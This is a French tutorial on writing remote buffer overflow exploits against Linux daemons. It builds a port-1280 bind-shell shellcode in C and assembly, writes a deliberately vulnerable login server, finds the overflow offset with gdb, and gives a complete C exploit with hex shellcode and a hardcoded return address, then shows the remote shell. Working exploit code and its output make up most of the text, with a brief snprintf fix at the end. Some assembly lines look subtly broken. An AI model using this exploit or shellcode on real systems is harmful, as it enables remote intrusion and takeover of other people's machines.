
WRITING REMOTE BUFFERS OVERFLOWS EXPLOIT viriiz

--[0 - Contents

--[1 - Introduction.

Aleph1 [1] avec son article intitulé 'Smash the stack for fun and profit' a révolutionné le principe des buffer overflows. Cette technique d'exploitation est surement l'une des plus répandue et, malgré toutes les protections actuelles, l'une des plus exploitées au monde. Les applications touchées par 'ce type de faille' peuvent être de simple programme mais aussi des programmes tournants en permanence sur la machine hôte et attendant une connexion provenant de l'extérieur, ces programmes sont connus sous le nom de démon (daemon). Nous verrons dans cet article
qu'il est possible d'exploiter ces programmes de l'extérieur. Des bases en c/assembleur sont requises si vous voulez comprendre la suite de l'article.

--[2 - Rappel sur les buffers overflows.

Un buffer overflow, ou dépassement de tampon est le fait d'entrer plus de données qu'il n'est permis dans un espace mémoire (buffer). Le but d'une exploitation de buffer overflow est de faire exécuter du code arbitraire à un programme. Le code arbitraire sera executé avec les droits du propriétaire et a souvent pour rôle de donner un shell, il est alors appelé 'shellcode'. Lors d'une attaque par buffer overflow, l'exploit ne contient pas seulement le shellcode proprement dit. Il se compose en 3 morceaux principaux, en général:

- des NOP
- le shellcode
- l'adresse de retour qui renvoit vers les NOPs.

Le but de cet article étant d'exploiter en remote un buffer overflow et non pas de comprendre le principe des buffers overflows, je m'arretes là mais si vous voulez plus d'informations sur le sujet reportez vous à [1] et [2].

--[3 - Remote buffer overflow: théorie.

L'exploitation de 'Remote buffer overflow' est pratiquement identique à l'exploitation dite locale. En effet, c'est toujours la meme routine, on recherche l'adresse où l'on va devoir retourner c'est à dire l'adresse du buffer (%esp, le registre qui pointe en haut de la pile). Pour des 'gros' buffers, cette adresse peut etre déterminé approximativement puisque l'on remplira le buffer de NOP (NO OPERATION). Il faut aussi déterminer la taille du buffer pour que l'exploit puisse 'overwritter' l'adresse de retour (%eip, 'extended instruction pointer' le registre qui pointe vers la prochaine instruction). La différence avec les exploits locaux, c'est qu'il faut utiliser les sockets pour
pouvoir envoyer le buffer au server distant. Le shellcode est également différent puisque l'on a pas d'acces direct sur la machine distante, il faudra donc le plus souvent un shellcode qui nous 'bind' un shell sur un port précis.

--[4 - Ecriture d'un shellcode 'bindshell'.

La conception du shellcode est sans doute la chose la plus dur dans l'exploitation d'un buffer overflow, heureusement pour nous des shellcodes de toutes sortes sont présents sur la toile mais voyons quand meme comment réalise-t-on un shellcode dans les grandes lignes. Si cela vous suffit pas vous pouvez toujours aller jetter un coup d'oeil sur l'article de Nocte sur la conception avancée de shellcode [3].

On veut un shellcode qui:

- bind un shell sur le port 1280.
- ne contient pas de null byte (0x00).
- soit de la taille la plus petite possible.

Ici deux possibiltés s'offrent à nous, soit on écrit le code en C, on le désassemble, on le modifie et hop!
Exemple de code possible, il bind un shell (/bin/sh) sur le port 1280:

```
----------------------------------------SNiP----------------------------------------
[...]
main()
{
    int fd,dup;
    struct sockaddr_in yeah;

    fd=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
    yeah.sin_family=AF_INET;
    yeah.sin_addr.s_addr=INADDR_ANY;
    yeah.sin_port=htons(1280);

    bind(fd,(struct sockaddr *)&sin,sizeof(yeah));
    listen(fd,1);
    dup=accept(fd,0,0);
    dup2(dup,0);
    dup2(dup,1);
    dup2(dup,2);
    execl("/bin/sh","sh",0);
}
----------------------------------------SNiP----------------------------------------
```

Ou soit on le fait directement en assembleur. Pour cela on fait une liste des syscalls (appels système) que l'on utilisera pour binder le shell. Ici nous utiliserons: SYS_socketcall qui va tout gerer au niveau de la connexion (connect, bind, listen, accept ...), SYS_dup2, SYS_execve et SYS_exit.

On regarde dans asm/unistd.h et linux/net.h (pour SYS_socket) pour avoir plus d'infos sur ces syscalls. On sait alors que:

execve:
%eax : 0x1b

dup2:
%eax : 0x3f

socketcall:
%eax : 0x66

Ce syscall permet de réaliser toutes les opérations liés avec les sockets c'est à dire que les fonctions
telles que connect, listen, bind sont réalisées à partir de ce syscall. Ces fonctions sont appelées à l'aide du registre %ebx. On peut trouver les numéros de ces fonctions dans linux/net.h. Ainsi on a:

```
socket()  : %ebx = 0x1
bind()    : %ebx = 0x2
connect() : %ebx = 0x3
listen()  : %ebx = 0x4
accept()  : %ebx = 0x5
```

exit:
%eax : 0x1

Un petit rappel sur les instructions asm importantes pour écrire un shellcode:

- CALL: l'instruction CALL permet d'appeler une sous-routine.
- JMP: l'instruction JMP effectue un saut vers une autre partie du programme.
- MOV: l'instruction MOV sert à placer une valeur dans un registre.
- XOR: ou exclusif, dans les shellcodes elle sert à mettre un registre à 0, ainsi après un xor %eax,%eax %eax=0. Cette 'technique' permet d'éviter l'utilisation d'opcode null (0x00).
- PUSH: l'instruction PUSH permet de placer une valeur sur la pile.
- POP: l'instruction POP permet de récupérer une valeur posée sur la pile.
- LEAL: Charge une adresse mémoire dans un registre.
- INC: Incrémente (i++)

Un petit rappel sur les registres les plus 'importants':

- EAX: registre accumulateur.
- EBX: registre de base.
- ECX: second registre de base (compteur).
- EDX: troisième registre de base (donnée).
- EIP: pointeur d'instruction.
- ESP: registre qui pointe en haut de la pile.
- EBP: pointeur de base de la pile.

Pour ce genre de shellcode, je préfère prendre la source en C, la désassembler pour voir et de la modifier après. Allons-y:

Je compile le code ci-dessus:

```
viriiz@null:~$ gcc -static shell.c -o shell
Je le test:
viriiz@null:~$ ./shell &
viriiz@null:~$ netstat -an | grep 'LISTEN'
tcp        0           0.0.0.0:1280          0.0.0.0:*             LISTEN
viriiz@null:~$ telnet 127.0.0.1 1280
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
echo ca marche;
ca marche
```

C'est bon ca marche, on peut maintenant la desassembler. On desassemble petit à petit pour chaque étape, c'est à dire on desassemble d'abord socket, puis connect, puis listen et ainsi de suite pour arriver jusqu'au execve (exit on sait le faire sans desassembler hein :).

```
viriiz@null:~$ gdb shell -q
(gdb) disassemble main
Dump of assembler code for function socket:
[...]
0x80481e3 <main+19>:    push   $0x0
0x80481e5 <main+21>:    push   $0x1
0x80481e7 <main+23>:    push   $0x2
0x80481e9 <main+25>:    call   0x804e950 <socket>
End of assembler dump.
(gdb) disassemble socket
0x804e950 <socket>:     mov    %ebx,%edx
0x804e952 <socket+2>:   mov    $0x66,%eax
0x804e957 <socket+7>:   mov    $0x1,%ebx
0x804e95c <socket+12>:  lea    0x4(%esp,1),%ecx
0x804e960 <socket+16>:  int    $0x80
0x804e962 <socket+18>:  mov    %edx,%ebx
0x804e964 <socket+20>:  cmp    $0xffffff83,%eax
0x804e967 <socket+23>:  jae    0x8050460 <__syscall_error>
```

On remarque ici que à '<socket+2> mov $0x66,%eax' 66 correspond au syscall socket (66h=102d), on peut remplacer 'mov $0x66,%eax' par 'mov $102, %eax' si on a pas l'habitude de l'hexadécimal. On remarque également que à '<socket+7> mov $0x1,%ebx' 1 correspond à la fonction socket().
C'est bon gdb nous raconte pas n'importe quoi :).
On a alors a peu près le code asm de la fonction socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

On le modifie pour supprimer les x00 avec quelques astuces (en jouant avec les 'petits registres' 8/16 bits ...) et on obtient ça:

```
----------------------------------------SNiP-----------------------------------------
        xorl    %eax,%eax    # on met les registres à 0
        xorl    %ebx,%ebx
        xorl    %ecx,%ecx
        xorl    %edx,%edx
        movb    $0x66,%al    # 66h = 102d = socket
        movb    $0x1,%bl     # socket()
```

```
        pushl   %ecx
        movb    $0x6,%cl     # on place les 3 arguments AF_INET SOCK_STREAM IPPROTO_IP
        pushl   %ecx
        movb    $0x1,%cl
        pushl   %ecx
        movb    $0x2,%cl
        pushl   %ecx
        leal    (%esp),%ecx
        int     $0x80
---------------------------------------SNiP-----------------------------------------
```

On fait pareil pour les autres appels (listen, connect, accept), on fait quelques modifications et on obtient au final le code suivant:

```
---------------------------------------SNiP-----------------------------------------
        #socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
        xorl    %eax,%eax       # ’prélude on met les registres à 0’
        xorl    %ebx,%ebx
        xorl    %ecx,%ecx
        xorl    %edx,%edx
        movb    $0x66,%al       # 66h = 102d = socketcall
        movb    $0x1,%bl        # on écrit les 3 arguments
        pushl   %ecx
        movb    $0x6,%cl        # IP_PROTO
        pushl   %ecx
        movb    $0x1,%cl        # SOCK_STREAM
        pushl   %ecx
        movb    $0x2,%cl        # AF_INTET
        pushl   %ecx
        leal    (%esp),%ecx     # adresse des args dans ecx
        int     $0x80           # on passe tout ça au kernel


        # bind(fd,(struct sockaddr *)&yeah,sizeof(yeah));
        movb    $0x2,%bl        # SYS_bind
        movb    $0x2,%cl        # INADDR_ANY
        xorl    %ecx,%ecx
        pushl   %ecx
        pushl   %ecx
        pushl   %ecx
        addb    $0x04,%cl       # htons(1280)
        pushl   %cx
        movb    $0x2,%cl        # AF_INET
        pushw   %cx
        leal    (%esp),%ecx
        movb    $0x10,%dl       # sizeof(yeah) = 16d = 10h
        pushl   %edx
        pushl   %ecx
        pushl   %eax
        leal    (%esp),%ecx     # adresse des args dans ecx
        movl    %eax,%edx
        xorl    %eax,%eax
        movb    $0x66,%al       # socketcall
        int     $0x80           # kernel

        # listen(fd,0);
        movb    $0x1,%bl
        pushl   %ebx
        pushl   %edx
        leal    (%esp),%ecx     # adresse des args dans ecx
        xorl    %eax,%eax       # on met eax a 0
        movb    $0x66,%al       # socketcall
        addb    $0x3,%bl        # SYS_listen
        int     $0x80           # kernel

        # accept(fd,struct sockaddr,16);
        xorl    %eax,%eax       # on met eax à 0 et on écrits les arguments
        pushl   %eax
        pushl   %eax
        pushl   %edx
        leal    (%esp),%ecx     # adresse des args dans ecx
        movl    $0x5,%bl        # SYS_accept
        movl    $0x66,%al       # socketcall
        int     $0x80           # kernel

        # dup2(dup,0)
        movl    %eax,%eb        # sauvegarde
        xorl    %ecx,%ecx       # on met eax à 0
        xorl    %eax,%eax       # on met eax à 0
        movb    $0x3f,%al       # dup2
        int     $0x80           # kernel

        # dup2(dup,1)
        inc     %ecx            # on incrémente ecx ( i++ )
        xorl    %eax,%eax       # on met eax à 0
        movl    $0x3f,%al       # dup2
        int     $0x80           # kernel

        # dup2(dup,2)
        inc     %ecx            # on incrémente ecx ( i++ )
        xorl    %eax,%eax       # on met eax à 0
        movb    $0x3f,%al       # dup2
        int     $0x80           # kernel

        # execve(/bin/sh,0);
        jmp  0x18               # on jump en bas :)
        popl %esi               # on recup l’addr de de /bin/sh
        movl %esi,0x8(%ebp)     # on l’écrit au début de la table
        xorl %eax,%eax          # on écrit NULL après
        movb %eax,0x7(%esi)
        movl %eax,0xc(%ebp)     # on place le caractère null à la fin
        movb $0xb,%al           # b = 11 = execve()
        movl %esi,%ebx          # on place esi dans ebx
        leal 0x8(%ebp),%ecx     # on mets les arguments dans ecx
        leal 0xc(%ebp),%edx     # on mets l’environnement dans edx
```

```
        int  $0x80              # on balance au kernel
        call -0x1d              # on remonte en haut :)
        .string "/bin/sh"
----------------------------------------SNiP----------------------------------------
```

Le shellcode fait une longeur de 156 bytes et n'est vraiment pas du tout optimisé (mais compréhensible), sachant que le plus petit bindshell pour x86 fait environ 85 bytes, c'est pas terrible mais on va faire avec.

Je compile le code ci-dessus:

```
viriiz@null:~$ as shell.s -o shell.o ; ld shell.o -o shell
```

Je le test:

```
viriiz@null:~$ ./shell &
viriiz@null:~$ netstat -an | grep 'LISTEN'
tcp        0           0.0.0.0:1280            0.0.0.0:*             LISTEN
viriiz@null:~$ telnet 127.0.0.1 1280
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
echo ca marche;
ca marche
```

C'est bon ca marche :). On peut passer à l'exploitation avec un exemple.

PS: Pour ceux qui ont pas tout compris, reportez vous à [3] :).

--[5 - Remote buffer overflow: exemple.

Après la théorie et la création du shellcode, il est temps de faire un petit exemple. On va donc programmer un 'mini server' vulnérable à un buffer overflow. Ce 'mini server' tourne en permanence sur le port 4000. Dès que qu'une personne se connect dessus, il demande son login puis affiche un message de bienvenue du genre 'Bonjour login, bienvenue sur mon server'. Le problème est qu'il n'y a pas de vérification sur la taille du login. Voici la source:

```
----------------------------------------SNiP----------------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFFER_SIZE 500
#define NAME_SIZE 1000


int sendstring(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int sendrecv;
strcpy(buffer, "login: ");
sendrecv = send(c, buffer, strlen(buffer), 0);
/* normalement on test si les envoies et les réceptions ont été correctement effectués */
sendrecv = recv(c, name, sizeof(name), 0);
name[sendrecv - 1] = '\0';
sprintf(buffer, "\nHello %s ! Welcome to my server !\r\n", name); /* OMFG */
send(c, buffer, strlen(buffer), 0);
return 0;
}

int main(int argc, char *argv[])
{
int s, c, cli_size;
struct sockaddr_in yeah, cli;
/* normalement dans un vrai server on fait des tests si les fonctions ont réussis ou non */
s = socket(AF_INET, SOCK_STREAM, 0);
yeah.sin_addr.s_addr = INADDR_ANY;
yeah.sin_port = htons(4000);
yeah.sin_family = AF_INET;
bind(s, &yeah, sizeof(yeah));
listen(s, 3);
while(1)
{
c = accept(s, &cli, &cli_size);
sendstring(c);
close(c);
}
return 0;
}
----------------------------------------SNiP----------------------------------------
```

J'ai pas commenté le code, je pense qu'il est assez simple à comprendre si vous ne comprennez pas allez jetter un coup d'oeil sur la programmtion de socket en C. Le problème se situe à la ligne 20 'sprintf(buffer, "\nHello %s ! Welcome to my server !\r\n", name);', on copie la chaine 'Hello 'name' ! Welcome to my server !' dans buffer sans aucune vérification de taille.

On va maintenant faire nos tests :).

```
viriiz@null:~/RemoteBOF$ gcc -o vuln vuln.c
viriiz@null:~/RemoteBOF$ ./vuln &
viriiz@null:~/RemoteBOF$ netstat -an | grep 'LISTEN'
tcp        0      0 0.0.0.0:4000            0.0.0.0:*               LISTEN
viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 4000
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login: viriiz

 ! Welcome to my server !
Connection closed by foreign host.
```

Le server marche. On va maintenant essayer d'entrer 'un plus grand' login :).

```
viriiz@null:~/RemoteBOF$ ./vuln
```

On ouvre un autre terminal.

```
viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 4000
Trying 127.0.0.1...
```

```
Connected to 127.0.0.1.
Escape character is '^]'.
login:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
Connection closed by foreign host.
```

On revient sur l'autre terminal et on observe:

```
viriiz@null:~/RemoteBOF$ ./vuln
Segmentation fault
```

Notre mini server a 'segfaulté'.

On relance le mini server mais cette fois ci avec gdb (Gnu DeBugger):

```
viriiz@null:~/RemoteBOF$ gdb vuln -q
(gdb) run
Starting program: /home/viriiz/RemoteBOF/vuln
```

On ouvre un terminal et on fait comme tout à l'heure :)

```
viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 4000
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A...
Connection closed by foreign host.
```

On jette un coup d'oeil sur l'autre terminal (celui avec gdb lancé)

```
viriiz@null:~/RemoteBOF$ gdb -q vuln
(gdb) run
Starting program: /home/viriiz/RemoteBOF/vuln

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

On remarque ici que le programme quit avec le signal SIGSERV, l'adresse de retour (%eip) a été overwritter par nos 'A' (41 en ASCII). En effet comme la taille de buffer est plus petite que celle de name. Lorsque l'on remplit à 'fond' le tableau name, lors du sprinf, on copie le contenu de name dans buffer, on a alors un depassement de tampon, les registres qui suivent le buffer sont ainsi 'écrasées'.

Pour pouvoir exploiter ce buffer overflow, il faut determiner précisement le nombre de 'A' qu'il faut inscrire pour overwritter l'adresse de retour et l'adresse ou 'demarre' le buffer pour pouvoir overwritter l'eip avec cette adresse.Pour cela on peut desassembler le mini server et regarde combien de octets est aloués au buffer ou on peut faire un prog qui va essayer toutes les valeurs possibles de A pour arriver au 'segfault'.

Nous on va désassembler le mini server et recherche l'espace aloué au buffer. On desassemble la fonction sendstring et on remarque un "sub $0x5f8,%esp" ce qui veut dire que pour les 2 tableaux (name et buffer) on aloue précisement 1528 octets. Le problème c'est que nous on veut savoir combien d'espace est aloué pour buffer uniquement. Dans ce cas là je vois qu'une solution, c'est de faire des tests. On a un petit indice c'est que la valeur va tourner autour de 510 :).

On va essayer 514+4+4:
On lance le mini server avec gdb sur un terminal et sur un autre on fait:

```
viriiz@null:~/RemoteBOF$ perl -e "print 'A'x518; printf'BBBB'"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABBBB
viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 4000
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAABBBB
```

On va voir sur l'autre terminal (celui avec gdb):

```
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

Bingo! 0x42424242 correspond à notre chaine 'BBBB' ! On sait alors que l'espace aloué a buffer est de 514 octets.
Il nous reste plus qu'a connaitre l'adresse du debut du buffer. On va reprendre gdb où il est s'est arrèté c'est à dire après '0x42424242 in ??()':

```
(gdb) x/200bx $esp-200
0xbffff9c8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff9d0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff9d8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
```

```
0xbffff9e0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff9e8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff9f0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffff9f8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffa00:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffa08:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffa10:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffa18:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffa20:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xbffffa28:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
...
```

Tous nos 'A' sont là :). On prend donc une des premières adresses par exemple 0xbffff9e0.

Maintenant nous avons tout pour écrire notre exploit !

Voici le code, je l'explique après:

```
----------------------------------------SNiP----------------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#define OFFSET 522 /* buffer + %ebp + %eip = 514 + 4 + 4 = 522 */

/* shellcode - bind a shell on port 1280 + bits to cram (nop) + RET \xe0\xf9\xff\xbf */

char shellcode_ret[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51\xb1\x01"
"\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51"
"\x80\xc1\x05\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51\x50\x8d"
"\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3\x01\x53\x52\x8d\x0c\x24\x31"
"\xc0\xb0\x66\x80\xc3\x03\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05"
"\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0"
"\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\xeb\x18\x5e\x89\x75\x08\x31\xc0"
"\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80"
"\xe8\xe3\xff\xff\xff/bin/sh\x90\x90\x90\x90\xe0\xf9\xff\xbf";

int main(int argc, char *argv[]) {
char buffer[OFFSET]; /* buffer a remplir */
int s, i, size;
struct sockaddr_in yeah;
struct hostent *host;

if(argc != 3) {
puts("[~] Remote buffer overflow");
printf("[~] Usage: %s host port\n", argv[0]);
return -1;
}

for(i=0;i<(OFFSET-sizeof(shellcode_ret));i++) buffer[i] = 0x90; /* on place les NOPs dans buffer */

memcpy(buffer+OFFSET-sizeof(shellcode_ret) , shellcode_ret, sizeof(shellcode_ret)); /* on copie le
shellcode dans le buffer */

host=gethostbyname(argv[1]); /* on test l'host */

if (host==NULL)
{
fprintf(stderr, "[!] Gethostbyname failled\n");
return -1;
}

s = socket(AF_INET, SOCK_STREAM, 0); /* on crée la socket */

if (s < 0)
{
fprintf(stderr, "[!] Erreur lors de la création de la socket\n");
return -1;
}

/* informations pour la connexion */
yeah.sin_family = AF_INET;
yeah.sin_addr = *((struct in_addr *)host->h_addr);
yeah.sin_port = htons(atoi(argv[2]));

if (connect(s, (struct sockaddr *)&yeah, sizeof(yeah))==-1) /* on se connect */
{
close(s);
fprintf(stderr, "[!] Erreur lors de la tentative de connexion\n");
return -1;
}

size = send(s, buffer, sizeof(buffer), 0); /* on envoi le buffer :) */
if (size==-1)
{
close(s);
fprintf(stderr, "[!] Foo! Exploit failled :(\n");
return -1;
}else{
fprintf(stdout, "[!] Exploit success! telnet %s 1280 !\n",argv[1]);
}
close(s); /* on ferme la socket */
}
----------------------------------------SNiP----------------------------------------
```

Le code est assez simple, on défini la valeur de l'OFFSET (la taille réelle du buffer + 4 octets pour %ebp + 4 octets pour %eip), on déclare ensuite le shellcode, moi ici j'ai rajouté l'adresse de retour (0xbffff9e0) à la fin du shellcode parce que ca permet d'éviter 3 lignes de code en plus (oui je suis un fainéant :).
On déclare le buffer de taille [OFFSET] et des variables et une structure pour les sockets et les boucles.
Ensuite on place les NOP (0x90) au début du buffer grace à une boucle for. J'aurai pu également utilisé memset() aussi. Ensuite on place le shellcode et la ret à la fin de buffer (OFFSET-sizeof(shellcode_ret)) avec la fonction memcpy(), on aurai pu également faire une boucle

comme précédement.
On initialise ensuite la connexion, et on envoie le buffer. Maintenant on va tester ça :)

```
viriiz@null:~/RemoteBOF$ gcc -o exploit exploit.c
viriiz@null:~/RemoteBOF$ ./vuln &
viriiz@null:~/RemoteBOF$ ./exploit 127.0.0.1 4000
[!] Exploit success! telnet 127.0.0.1 1280 !
viriiz@null:~/RemoteBOF$ telnet 127.0.0.1 1280
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
uname -a;
Linux null 2.4.26 #1 SMP mer avr 21 09:40:45 CEST 2004 i686 GNU/Linux
```

C'est bon ca marche !

--[6 - Conclusion.

Voilà c'est finit, j'espère pas avoir trop dis de betises :). Ici le buffer était assez grand pour y mettre notre shellcode qui bind un shell. Si le buffer aurait été plus petit, on aurait pu faire un shellcode avec une fonction 'originale' plus petit comme par exemple un shellcode qui rajoute un user ou qui rajoute '+ +' au fichier .rhosts. Pour 'sécurisé' le mini server, il aurait fallu utiliser la fonction snprintf à la place de sprintf, cette fonction permet de controler le nombre maximum de caractère à écrire dans le buffer.

Syntaxe:
```
int snprintf ( char *str, size_t n,const char *format, ... );
```

Dans notre code, on aurait du mettre:
```
snprintf(buffer, sizeof(buffer)-1, "\nHello %s ! Welcome to my server !\r\n", name);
buffer[sizeof(buffer)]='\0';
```

--[7 - Références.

[1] Aleph1'Smash the Stack for Fun and Profit' Phrack #49-0x0e
[2] Nostrobo 'Exploitation Avancée de Stack Overflow Vulnerabilities'
[3] Nocte 'Fun and Games with evoluates shellcodes', TDC Mag n°4
[4] rix 'Writing ia32 alphanumeric shellcodes', Phrack 54-0x0f